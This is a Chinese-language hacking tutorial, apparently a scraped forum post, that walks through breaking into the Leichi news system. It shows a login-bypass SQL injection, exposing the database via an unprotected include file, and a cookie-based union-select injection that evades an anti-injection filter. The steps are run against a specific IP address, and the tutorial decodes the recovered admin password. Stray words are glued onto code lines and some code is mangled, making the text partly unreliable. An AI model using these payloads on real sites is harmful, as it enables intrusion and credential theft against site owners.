注:本文主要總結雷池三個版本的幾個漏洞並簡單說下拿shell,善於總結進步才快。呵呵,本文獻給和我同樣的小菜,高手掠過!初學asp,有錯請提出~謝謝!
1、’or’=’or’漏洞
1.漏洞分析
漏洞文件固然在後臺驗證文件上,/admin/CHKLOGIN.ASP中,見代碼4-7行:
dim rs
admin1=request("admin") ‘沒有任何過濾
password1=request("password") ‘沒有任何過濾
set rs=server.CreateObject("ADODB.RecordSet")
rs.open "select * from admin where admin=" & admin1 & " and password="&encrypt(password1)&"",conn,1javascript
‘encrypt()函數加密密碼php
明顯直接獲取輸入的用戶名和密碼,根本沒有過濾檢查。那麼咱們就能夠構造進行注入,其實只要不爲空,讓sql查詢語句成立就能夠了。相信這個你們都懂,不廢話。
2.簡單利用
其實這個漏洞一直存在與雷池新聞系統的V1.0 V2.0 V 3.0版本,可是在V3.0這個版本當中,加入了火狐的防注入系統因此沒有辦法成功注射,會被攔截的!
那麼面對3.0如下的版本就能夠這樣進後臺。
2、暴庫漏洞
形成漏洞緣由:沒有判斷訪問權限
直接訪問admin/adminconn.inc,就能夠爆出數據地址了,這個能夠看看數據庫是否是asp或者asa(後面有用)java
3、cookie注入漏洞
雷池新聞系統的2.0加強版本(2.0沒有加)開始就加入了防注入系統,可是通過分析知道在SQL通用防注入系統3.0版 火狐技術聯盟存在cookie注入漏洞,看下漏洞代碼,在/sql/Neeao_SqlIn.Asp文件中:
--------POST部份------------------
If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
If WriteSql=True Then
killSqlconn.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values("&Request.ServerVariables("REMOTE_ADDR")&","&Request.ServerVariables("URL")&",POST,"&Fy_Post&","&replace(Request.Form(Fy_Post),"","")&")")
killSqlconn.close
Set killSqlconn = Nothing
End If
Response.Write "<script type="text/javascript">// <![CDATA[
alert(系統提示: 請不要在參數中包含非法字符嘗試注入! );
// ]]></script>"
Response.Write "非法操做!你已被系統記錄作了以下非法操做↓
"
Response.Write "操做IP:"&Request.ServerVariables("REMOTE_ADDR")&"
"
Response.Write "操做時間:"&Now&"
"
Response.Write "操做頁面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:POST
"
Response.Write "提交參數:"&Fy_Post&"
"
Response.Write "提交數據:"&Request.Form(Fy_Post)web
<p style="text-align: left;">Response.End
End If
Next
Next
End If
----------------------------------</p>
<p style="text-align: left;">--------GET部份-------------------
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
If WriteSql=True Then
killSqlconn.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values("&Request.ServerVariables("REMOTE_ADDR")&","&Request.ServerVariables("URL")&",GET,"&Fy_Get&","&replace(Request.QueryString(Fy_Get),"","")&")")
killSqlconn.close
Set killSqlconn = Nothing
End If
Response.Write "<script type="text/javascript">// <![CDATA[
alert(系統提示: 請不要在參數中包含非法字符嘗試注入! );
// ]]></script>"
Response.Write "非法操做!你已被系統記錄作了以下非法操做↓
"
Response.Write "操做IP:"&Request.ServerVariables("REMOTE_ADDR")&"
"
Response.Write "操做時間:"&Now&"
"
Response.Write "操做頁面:"&Request.ServerVariables("URL")&"
"
Response.Write "提交方式:GET
"
Response.Write "提交參數:"&Fy_Get&"
"
Response.Write "提交數據:"&Request.QueryString(Fy_Get)
Response.End
End If
Next
Next算法
End If
顯然明顯文件只對GET和POST提交方式進行檢測合法性。網頁文件在接受處理方式的時候通常是POST或GET兩種方式。好比Request.form 或Request.QueryString。而防注入程序3.0是限制,這兩種方式提交。卻沒有限制Request.cookie的方式。也就是說,只要 咱們構造Request.cookie語句進行注入就能夠成功注入了。sql
又分析了/owens.asp文件,代碼以下:
<!--#include file="conn.asp"--> <% owen=request("owen") owen1=request("owen1") owen2=request("owen2") n=request("n") if n="" then n=100 end if%>shell
<p style="text-align: left;"><%</p>
<p style="text-align: left;">if owen1<>"" and owen2<>"" then
sql="select * from NEWS where BigClassName="& owen1 &" and SmallClassName="& owen2 &" order by id desc"
set rs=conn.execute(sql)
do while not rs.eof數據庫
%>cookie
不少朋友一看到這個就說有存在注射了,不過確實存在注射。可是看到這行咱們又到conn.asp(鏈接數據庫文件),代碼以下:
<% dim conn,connstr on error resume next c+server.mappath("data/nxnews.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};" Set conn=Server.CreateObject("ADODB.CONNECTION") conn.open connstr %>app
<!--#Include File="sql/Neeao_SqlIn.Asp"-->
看到最後一行沒有,把neeao寫的那個通用防注入系統給包含進來了,也就是說,只要涉及到數據庫查詢的都要進行「防注入」過濾處理。那麼咱們就沒法順利注射了。
那麼咱們只能經過cookie注射了,咱們能夠採用javascript cookie來進行注射,構造出語句,俺比較懶,直接用GreenBrower 的jscookie插件來進行注入,比較簡單。
首先構造好注射語句,打開數據庫發現有11個字段,能夠構造這樣的語句來進行注射:
-1 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin
其中的-1是讓他不成立就執行咱們後面的聯合查詢語句。好了,原理分析完成了。
2.利用方法:
隨便打開一個新聞頁面,好比http://59.77.72.12/leichi3.0/onews.asp?id=42,咱們提交http: //59.77.72.12/leichi3.0/onews.asp?id=42‘(注意這個的單引號不是英文的,是中文的,英文的被過濾了)就出現了 「數據錯誤提示」,說明確實存在注射,如圖:
那麼咱們用greenbrower來進行注射,去掉url後面的id即:http://59.77.72.12/leichi3.0/onews.asp,一樣出現了錯誤如圖2,如圖3:
直接注射了,當作功了,返回onews。Asp,出現了,管理員密碼和站好出來了,如圖4:
用戶名Admin 密碼bfpms,這個加密算法很簡單,見下面分析。
3、密碼加密問題
雷池新聞系統的加密過於簡單,能夠直接手算,可是要記得ASCII碼,這裏我寫了一個輔 助工具(下載地址:http://bbs.awolf07.cn/attachment.php?aid=46),直接破解,咱們看看他是怎麼加密的吧, 看encrypt()函數加密密碼,上面有提到,咱們找下它,看看怎麼寫的,在文件/admin/adminiconn.inc文件中,
function decrypt(dcode)
dim texts
dim i
for i=1 to len(dcode)
texts=texts & chr(asc(mid(dcode,i,2))-i)
next
decrypt=texts
end function
function encrypt(ecode)
Dim texts
dim i
for i=1 to len(ecode)
texts=texts & chr(asc(mid(ecode,i,2))+i)
next
encrypt = texts
end function
%>
加密程序encrypt,解密程序decrypt,這裏我簡單說下它的加密原理:密文中字母所對應的ascii碼減去字母在密文中所處的位數其結果 爲原密碼的所對應的ASCII碼 例如:admin加密後爲bfpms。很簡單的加密方法,確切的說是作了簡單的變換。有興趣的朋友能夠本身手動轉換,這裏我給你們作好了,免得去查 ASCII表。雷池加密方法是非MD5加密。這個算是一個軟肋吧,由於若是是md5的話,即便你獲得md5散列,可是若是密碼比較強大,那麼就不同能夠破解了(固然有人會說能夠經過cookie來欺騙登錄,其實這個也能夠的,小弟不知道怎麼構造,還望高手指點)好了加密算法就到這裏了